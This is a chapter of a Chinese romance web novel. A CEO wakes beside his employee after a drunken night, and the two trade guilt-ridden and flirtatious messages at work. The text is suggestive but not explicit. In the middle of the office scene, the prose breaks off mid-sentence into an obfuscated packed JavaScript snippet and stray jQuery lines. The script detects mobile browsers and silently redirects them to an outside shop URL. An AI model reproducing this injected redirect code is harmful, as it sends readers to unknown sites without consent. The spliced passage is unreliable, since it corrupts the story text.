57. 继续玩弄醉酒老板

作品:《清楚系的他

    第二天清晨。


    窗帘无声拉开,流入一缕日光。


    天色熹微,光线朦朦胧胧。他睡得沉稳,此时掀开眼,险些分不出黑夜和白天。


    视线向外,熟悉的卧室的窗。


    视线向前,沉灰色鹅绒被,一如既往。


    视线向内,被子隆起一座小丘。


    厉盛支起上半身,抬手。每天早上搂着宜家鲨鱼发呆五分钟是他的习惯。


    “嗯……”


    身侧逸出一声鼻音。


    他伸到一半的手掌霎时停滞。


    那声音……


    “天,亮了吗。”


    困倦又柔软,撒娇似的。


    不是宜家鲨鱼。


    是,月月?


    他们……


    睡在同一张床上?


    她睡眼惺忪地问,没得到回答,继续睡了。


    因为当事人不敢答。他环顾一遍卧室,再倾身靠近,聆听枕边人均匀的呼吸。不是梦境和幻觉。


    喝酒误事。


    厉盛垂下头,扶额,试图从破碎的记忆里找到蛛丝马迹。


    他知道月月在看男主播。起初还觉得很好,至少这个世界有趣到让她驻足。可到了深夜,醋意疯狂生长,彻底压过了宽容的大度。


    后来,模模糊糊地,他吻了她。


    但亲吻落在哪里,吻过后说了什么,做了哪些事,大多化成消融的积雪不见踪影。


    只有零星的画面和触感留了下来。唇上,指尖,掌心,她柔润的地方,紧张地沁出细密薄汗,潮湿的,被反复缠吻揉捏,红得快要滴血。


    最后,停在了哪一步?


    厉盛陷入深深的自责。


    家里准备了化妆品、护肤品、为她挑选的衣服,唯独缺少某种安全用品。


    所以应该没有做到……


    没有,么?


    他不愿造成一丝一毫伤害,却控制不了脱缰的本能。月月太可爱了,有时候可爱得想欺负,看她抿出酒窝掉眼泪。


    她说过“我想当人”,他也禁止自己再用猫和向日葵去做比喻。


    可是谁能忍住她在怀里喵喵咪咪地发抖。


    昨日深夜,


    他好像也听到了那样的声音。


    ……


    天亮了。


    房间恒温恒湿恒氧,理应睡得踏实,但空气里逐渐燃起焦灼感,烧到了她的发梢。


    招月扭头,第一眼看见男人的侧脸。


    光线打在深邃的轮廓。


    他翘起几根发尾,低头看着自己的双手,愣在那儿,一动不动。


    “早安……”


    她拖着鼻音,慢悠悠爬起来。


    厉盛察觉到她睡醒,紧了紧眉间,目光沉下去,传递歉意。


    “对不起。”


    他的第一反应:事已至此先道歉吧。


    空气中不仅焦枯,还混入了隐晦的自我嫌恶。


    招月无辜地眨眨眼,心间却想,原来他事后会觉得罪恶啊。


    她笑着:“啊,没关系,是我自愿的。”


    女孩双眼弯弯,回以治愈的笑容,坐实了深夜烂醉的铁证。


    厉盛的太阳穴一阵狂跳。他们真的发生了?是不是用梦见过的方法,有没有规避可能的风险……


    他的视线认命般垂在招月手上。


    她揪着被沿,晃了晃,鹅绒被从胸口滑脱,露出一片柔绿色的睡衣。


    纱棉下,若隐若现的柔软。


    他怔了半秒,疯狂回避视线。


    “现在才躲闪,昨天晚上不是都看够了么……”


    招月捋了捋自己的长发,小声咕哝,音量刚好让他听见。


    “看够了”。


    那三个字砸得身形高大的男人硬生生缩了一截。


    厉盛猛然回到一切的起点——


    她瘫在他胸口,抽噎着说,“能不能看一眼”。而他那时候被摸得气息渐沉,竟反问“那月月想给我看什么”。


    结果,看够了。


    虽然他脑海中混沌一片,根本记不起来。


    “有没有想对我说的?”


    招月往那边凑了凑。


    他重新望过去,目光谨慎地求证。


    “你……身体还好吗。”


    她蹙眉,实话实说:“唔,折腾得睡眠不足,浑身酸痛的感觉。”


    空气中一瞬间爆发出惊人的温度。


    厉盛心脏刺痛,几乎被愧疚感凌迟,只能抱住辛苦的小猫,低头亲吻她的发顶。


    “对不起……”


    低沉的道歉一声声落在耳边。


    他搂得太紧,还把她往上带了带,招月身前的软润毫无遮拦,直直贴上他的胸口。


    形状挤压得有点过分。


    她闭着眼:忍耐,忍住。


    “再不起床要迟到了……”


    “你休息,我帮你请假。”


    得到了顶头上司的温柔赦免,可惜今天不是好时候。


    “我要上班。”


    “……?”


    “我爱上班,我要为公司贡献价值。”


    “…………”


    一个虚无主义者开始胡言乱语,他无奈,只好顺从,下床去浴室清醒,顺便准备早餐。


    终于走了。


    招月离开他发烫的怀抱,用被子裹紧胸前,不甘地抿了抿唇。


    即使事后都不肯说“喜欢”么?


    她心跳扑腾得七零八落。一边肾上腺素飙升,一边困得几乎灵魂出窍。


    洗漱后,招月换上他准备的新衣服,晃晃悠悠路过吧台。


    男人正伫立在厨房沉思。


    一块生姜躺在台面上,留下还算新鲜的横截面,似乎在挑衅他混乱的记忆。


    ——她忘记收拾了。


    可他醉得比上次深,不可能这么快就记起来。


    ……


    ……


    前往公司的路上,厉盛始终留意着招月的状况。


    她偏倚着补觉,眉眼间满是疲惫,半小时的车程也睡得昏天黑地。


    月月真的累了。


    可她之前气势汹汹地要求上四休三,怎么今天非得出席不可。


    他心底踌躇,按捺住抱她的冲动。


    *


    8:55。


    招月准时打卡,从包里掏出草莓牛奶和三明治。


    “嗨,招月,”小秘书来例行闲聊,“今天七号线没塞车。”


    “唔,速度还可以。”


    “你这早餐不错,馅料这么丰富,还有牛油果和鸡蛋沙拉,哪家的?”


    小秘书盯上她的三明治。


    确实不错,CEO手作的。


    招月打了个哈欠,想起一小时前,那个男人低头处理牛油果时,充满张力的背部线条。


    “我家小区门口有小推车在卖。”


    “明天帮我带一份?”


    “可他不一定每天都在那儿……”


    招月困倦地敷衍过去,掰了一块三明治。


    “你吃吗。”


    书颐小鸡啄米点头,大口品尝并发表见解:“豪吃!”


    9:00。


    小秘书走了,留下一张年会报名表。据说林总要待到明年,没准元旦,没准春节,通知大家有精彩的节目尽管报上去。


    上午,同事们拿着报名表沸沸扬扬,要搞脱口秀,搞喜剧,搞大合唱,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098112|186944||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真的人人都当个事办。


    “表演节目才能抽奖,我准备来首吉他弹唱。”


    “哟,天凡还会吉他呐。”


    “您可够大胆的,咱们部门,现在谁敢在小招面前炫技啊。”


    招月无端被cue,假装没听见,转眼微信里塞满了新消息。


    厉总:「难受么」


    厉总:「有事随时叫我」


    他没发表情包,反倒换了个头像,横眉的黄色小狗变成垂头丧气的黄色小狗。


    很不开心。


    她眯起眼睛,手指焦躁地点着键盘。


    原本打算勾引厉盛打破向日葵原则,想不到都逼到这份儿上了,他还不肯说。


    该不会适得其反吧……


    招月试探地敲字:


    「我很好,别担心。你是想起了什么吗」


    “对方正在输入”……


    厉总:「想起你说我“撞得很厉害”」


    招月啪一下捂住眼睛。


    断片断了那么多,偏偏想起这个?


    场面其实早就失控了,正朝着她设计的结局一去不复返。可最后,运筹帷幄的是她,羞耻的也是她。


    “哎,小招。”


    同事王突然搭话。


    微信消息同步到电脑上,招月手忙脚乱熄了屏幕,回头撑开虚假的元气笑容。


    “您说。”


    同事王:“这个,天凡想找人年会出个对唱,看看你有没有意向。”


    嘁。


    上上个月倪天凡害她加班、被武总批评,她还没找他算账呢。


    “年会啊。”


    招月内心不屑,却不减笑意。


    “我总是紧张,怕自己发挥不好……”


    同事王倒是会捧杀:“我看你俩实力都不俗,代表咱们内容部,给争个光。”


    她维持着职场傻白甜人设:“行,我想想吧。”


    “争取啊,争取!”同事王三步一回头。


    招月彻底躺进工位的旋转椅。


    燃尽了。上班好累,交际好累,玩心房攻坚战好累。


    ……


    清晨,高冷的CEO魂不守舍,忘记带午饭上车,导致她中午又吃麦当劳。


    走廊里,大秘书刷新在昨天相同的位置,一个人叹气。


    “嗨,”招月端着可乐续命,“厉总今天忙吗。”


    “别提了,”他左顾右盼,压低了声音,“厉总今儿心情不好。”


    “他心情不好?”


    重音在“他”。


    “虽然他也没几天心情好,”大秘书胡乱抓了抓头发,“反正给我骂一顿。”


    招月狐疑:“你干啥了?”


    “我不就是给林总那群人定错酒店了嘛。”


    “小郑,好像的确是你错了。”


    “那我以前犯错他也不骂我啊。”


    会不会因为你是郑董事长的直系血亲,天王老子来了也得给你几分面子。


    她无语,没说出来。


    “咋,你也挨骂啦,心事重重的。”大秘书问。


    招月有点惊讶他竟然会使用“心事重重”这个成语。


    “没,就是昨天熬夜了,只睡了三个小时。”


    大秘书:“三小时,你熬夜打游戏啊。”


    “呃……”


    她哈欠连天,视线晕染上困倦的水雾。


    “昨天多了张床垫,睡得不舒服,一直来回来去换。”


    蒙太奇式谎言信手拈来。


    这时,手机里传来20层的呼唤。刚才被说心情不好的男人给她发了消息,似乎卑微到有点可怜。


    「月月」


    「来找我,好不好」